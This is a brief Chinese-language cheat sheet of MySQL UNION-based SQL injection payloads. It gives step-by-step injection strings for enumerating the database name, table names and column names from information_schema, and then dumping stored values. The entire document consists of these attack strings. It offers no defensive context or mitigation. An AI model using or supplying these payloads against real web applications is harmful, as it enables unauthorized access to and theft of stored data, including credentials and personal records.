mysql数据库,爆库、爆表、爆字段、爆值的语句
爆库:
union select 1,2,3,database(); # 要看多少字段
爆表:
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); #
爆字段:
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; #
爆值:
union select 1,2,3,字段 from 表名; #
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